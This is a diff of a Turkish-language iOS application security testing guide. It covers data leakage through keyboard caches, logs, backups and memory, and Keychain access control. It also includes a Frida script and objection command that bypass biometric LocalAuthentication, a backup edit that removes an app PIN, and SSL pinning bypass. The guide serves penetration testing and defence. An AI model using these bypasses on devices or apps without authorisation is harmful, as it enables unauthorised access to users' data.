Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` fonksiyonunu kullanarak anlık görüntü almadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır. Bu kötü davranışı önlemenin bir yolu, anlık görüntü alınmadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır; bu, `ApplicationDidEnterBackground()` fonksiyonu kullanılarak yapılabilir.
Aşağıda, varsayılan bir ekran görüntüsü ayarlayacak bir örnek düzeltme yöntemi bulunmaktadır. Aşağıda, varsayılan bir ekran görüntüsü ayarlayacak bir örnek düzeltme yöntemi bulunmaktadır.
@ -584,17 +584,17 @@ Bu saklanan kimlik bilgilerini çıkarmak için, Objection'ın `ios nsurlcredent
## **Özel Klavyeler ve Klavye Önbelleği** ## **Özel Klavyeler ve Klavye Önbelleği**
iOS 8.0 ve sonrasında, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır. iOS 8.0 ve sonrası ile birlikte, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
**Güvenlik Önerileri:** **Güvenlik Önerileri:**
- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir. - Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumundaki önbellek dosyalarında hassas bilgileri saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir. - Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda hassas bilgileri önbellek dosyalarında saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
- Ağ trafiğini yakalamak, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletmediğini ortaya çıkarabilir. - Ağ trafiğini yakalamak, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletmediğini ortaya çıkarabilir.
### **Metin Alanı Önbelleklemesini Önleme** ### **Metin Alanı Önbelleklemesini Önleme**
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgi önbelleklemesini önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir: [UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgilerin önbelleğe alınmasını önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
```objectivec ```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES; textObject.secureTextEntry = YES;
@ -606,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
``` ```
## **Loglar** ## **Loglar**
Hata ayıklama kodu genellikle **loglama** kullanımını içerir. **Loglar hassas bilgileri içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilirdi ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**. Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Loglar hassas bilgileri içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilir durumdaydı ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
Bu kısıtlamalara rağmen, **açık bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak ve **logları okuyarak** bunu istismar edebilir. Logların, uygulamanın kaldırılmasından sonra bile diskte kalmaya devam ettiğini belirtmek önemlidir. Bu kısıtlamalara rağmen, **açık bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak ve **logları okuyarak** bunu istismar edebilir. Logların, uygulamanın kaldırılmasından sonra bile diskte kalmaya devam ettiğini belirtmek önemlidir.
@ -648,7 +648,7 @@ Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya lo
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilirler. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir. `Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilirler. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir.
### Açıkları Test Etme ### Açıklar için Test Etme
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin. Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.
@ -669,11 +669,11 @@ Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com)
### Uygulama Davranışını Değiştirme ### Uygulama Davranışını Değiştirme
Yedekleme değişiklikleri yoluyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir; burada UI kilit PIN'i `net.bither.plist` içinde **pin_code** anahtarı altında saklanmaktadır. Bu anahtarı plist'ten kaldırmak ve yedeği geri yüklemek, PIN gereksinimini ortadan kaldırarak sınırsız erişim sağlar. Yedekleme değişiklikleri yoluyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir; burada UI kilit PIN'i `net.bither.plist` içinde **pin_code** anahtarı altında saklanmaktadır. Bu anahtarın plist'ten kaldırılması ve yedeğin geri yüklenmesi, PIN gereksinimini ortadan kaldırarak sınırsız erişim sağlar.
## Hassas Veriler için Bellek Testi Özeti ## Hassas Veriler için Bellek Testi Özeti
Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır. Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verilerin kaçırılma potansiyeli gibi zorlukları vardır.
## **Bir Bellek Dökümünü Alma ve Analiz Etme** ## **Bir Bellek Dökümünü Alma ve Analiz Etme**
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2 # Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt $ rabin2 -ZZ memory > strings.txt
``` ```
Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini arama dahil, **radare2** geniş arama yetenekleri sunar: Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini arama dahil, **radare2** kapsamlı arama yetenekleri sunar:
```bash ```bash
$ r2 <name_of_your_dump_file> $ r2 <name_of_your_dump_file>
[0x00000000]> /? [0x00000000]> /?
@ -708,11 +708,11 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı ### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
Geliştiriciler **kullanımdan kaldırılmış algoritmalar** kullanarak yetkilendirme **kontrolleri** yapmamalı, **veri** saklamamalı veya **göndermemelidir**. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır. Geliştiriciler, yetkilendirme **kontrolleri** yapmak, verileri **saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır.
### Kontrol ### Kontrol
Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirmek önemlidir. Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirmek önemlidir.
Bazı **kripto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir: Bazı **kripto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir:
```swift ```swift
@ -749,7 +749,7 @@ iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama to
Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir. Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
Aşağıda, bu güvenlik özelliklerini kullanarak bir dizeyi anahtar zincirine kaydetme ve geri alma yöntemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir. Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve alma yöntemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
{{#tabs}} {{#tabs}}
{{#tab name="Swift"}} {{#tab name="Swift"}}
@ -822,7 +822,7 @@ if (status == noErr) {
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini gösterecek ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir. Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir.
{{#tabs}} {{#tabs}}
{{#tab name="Swift"}} {{#tab name="Swift"}}
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
### Tespit ### Tespit
Bir uygulamadaki framework'lerin kullanımı, uygulama ikilisinin paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir: Bir uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesinin analiz edilmesiyle de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir:
```bash ```bash
$ otool -L <AppName>.app/<AppName> $ otool -L <AppName>.app/<AppName>
``` ```
@ -891,7 +891,7 @@ Eğer `Security.framework` kullanılıyorsa, yalnızca ikincisi gösterilecektir
#### **Objection** #### **Objection**
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) yer alan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; bu sayede, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır. **Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; bu sayede, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır.
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
```bash ```bash
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
``` ```
Yerel Kimlik Doğrulama'nın **bypass** edilmesi için bir Frida scripti yazılmıştır. Bu script, **evaluatePolicy** kontrolünü hedef alır ve geri çağrısını keserek **success=1** döndürmesini sağlar. Geri çağrının davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde bypass edilir. Yerel Kimlik Doğrulama'nın **bypass** edilmesi için bir Frida scripti yazılmıştır. Bu script, **evaluatePolicy** kontrolünü hedef alır ve geri çağrısını keserek **success=1** döndürmesini sağlar. Geri çağrının davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde bypass edilir.
Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir. Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilmiştir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir.
```swift ```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) { if(ObjC.available) {
@ -1017,8 +1017,8 @@ burp-configuration-for-ios.md
### Hostname Kontrolü ### Hostname Kontrolü
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalanıp imzalanmadığını kontrol etmektir, ancak **sertifikanın** **hostname**'inin erişilen hostname olup olmadığını **kontrol etmemektir**.\ TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalandığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile **kontrol edilmemesidir**.\
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'sını güvenilir hale getirdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır. Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır.
### Sertifika Pinning ### Sertifika Pinning
@ -1038,7 +1038,7 @@ Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz.
- **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri - **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
- **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde uygulamaya arka plana gönderilmeden önce yapılan anlık görüntüyü bulabilirsiniz. - **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde uygulamaya arka plana gönderilmeden önce yapılan anlık görüntüyü bulabilirsiniz.
### Sıcak Yamanın/Zorunlu Güncellemenin ### Sıcak Yamanlama/Zorunlu Güncelleme
Geliştiriciler, uygulamalarının tüm kurulumlarını anında **yamanlayabilir** ve uygulamayı App Store'a yeniden göndermeye gerek kalmadan onay bekleyebilirler.\ Geliştiriciler, uygulamalarının tüm kurulumlarını anında **yamanlayabilir** ve uygulamayı App Store'a yeniden göndermeye gerek kalmadan onay bekleyebilirler.\
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\ Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
@ -1048,7 +1048,7 @@ Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullan
**3. taraf SDK'lar** ile ilgili önemli bir zorluk, işlevleri üzerinde **detaylı kontrol eksikliği**dir. Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir. **3. taraf SDK'lar** ile ilgili önemli bir zorluk, işlevleri üzerinde **detaylı kontrol eksikliği**dir. Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir.
Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmaması nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin yalnızca gerekli olanlarla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir. Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodu tam olarak bilmemesi nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin yalnızca gerekli olanlarla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir.
Üçüncü taraf hizmetlerin uygulanması genellikle iki biçimde gelir: bağımsız bir kütüphane veya tam bir SDK. Kullanıcı gizliliğini korumak için, bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi** gerekmektedir, böylece Kişisel Tanımlanabilir Bilgilerin (PII) ifşası önlenir. Üçüncü taraf hizmetlerin uygulanması genellikle iki biçimde gelir: bağımsız bir kütüphane veya tam bir SDK. Kullanıcı gizliliğini korumak için, bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi** gerekmektedir, böylece Kişisel Tanımlanabilir Bilgilerin (PII) ifşası önlenir.

View File

@ -6,9 +6,9 @@
### **Bir iOS Cihazının UDID'sini Tanımlama** ### **Bir iOS Cihazının UDID'sini Tanımlama**
Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulaması** içinde bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür. Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulamasında** bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür.
Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes kullanılmaktadır. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir. Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes yardımcı olur. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir.
Komut satırı araçları, UDID'yi almak için alternatif yöntemler sunar: Komut satırı araçları, UDID'yi almak için alternatif yöntemler sunar:
@ -31,9 +31,9 @@ $ instruments -s devices
``` ```
### **Cihaza Erişim Sağlama** ### **Cihaza Erişim Sağlama**
**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@<device_ip_address>` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi önemlidir. **SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@<device_ip_address>` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi kritik öneme sahiptir.
**USB üzerinden SSH**, Wi-Fi yokluğunda gereklidir ve SSH bağlantıları için cihaz portlarını eşlemek üzere `iproxy` kullanılır. Bu yapılandırma, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir: **USB üzerinden SSH**, Wi-Fi yokluğunda gereklidir ve SSH bağlantıları için cihaz portlarını eşlemek amacıyla `iproxy` kullanılır. Bu yapılandırma, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir:
```bash ```bash
$ iproxy 2222 22 $ iproxy 2222 22
$ ssh -p 2222 root@localhost $ ssh -p 2222 root@localhost
@ -48,7 +48,7 @@ Unutulan bir şifreyi varsayılan (`alpine`) olarak sıfırlamak için, `/privat
### **Uygulama Veri Dosyalarını Aktarma** ### **Uygulama Veri Dosyalarını Aktarma**
**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Data dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Data dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir: **SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Veri dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Veri dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir:
```bash ```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit exit
@ -111,7 +111,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu ile veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir. [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu ile veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir.
Cihazda yüklü uygulamalar şu komutla listelenebilir: Cihazda yüklü olan uygulamalar şu komutla listelenebilir:
```bash ```bash
$ python dump.py -l $ python dump.py -l
``` ```
@ -146,7 +146,7 @@ bagbak --raw Chrome
#### **Sideloading Araçları** #### **Sideloading Araçları**
- **Cydia Impactor**: iOS'ta IPA dosyalarını ve Android'de APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir. - **Cydia Impactor**: iOS için IPA dosyalarını ve Android için APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir.
- **libimobiledevice**: iOS cihazlarıyla iletişim kurmak için Linux ve macOS için bir kütüphanedir. USB üzerinden uygulama yüklemek için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmıştır. - **libimobiledevice**: iOS cihazlarıyla iletişim kurmak için Linux ve macOS için bir kütüphanedir. USB üzerinden uygulama yüklemek için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmıştır.
@ -154,7 +154,7 @@ bagbak --raw Chrome
- **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır. - **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır.
- **Xcode**: Uygulamaları yüklemek için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** bölümüne ekleyin. - **Xcode**: Uygulamaları yüklemek için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** kısmına ekleyin.
#### **iPad Dışı Cihazlarda Uygulama Yüklemeye İzin Ver** #### **iPad Dışı Cihazlarda Uygulama Yüklemeye İzin Ver**

View File

@ -16,15 +16,15 @@ Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarda Burp Suite, **
2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin. 2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin.
3. **Sertifika Yükleme:** İndirilen profili **Ayarlar** > **Genel** > **VPN & Cihaz Yönetimi** üzerinden yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin. 3. **Sertifika Yükleme:** İndirilen profili **Ayarlar** > **Genel** > **VPN & Cihaz Yönetimi** üzerinden yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
### Bir Kesme Proxy'si Yapılandırma ### Bir Kesme Proxy'sinin Yapılandırılması
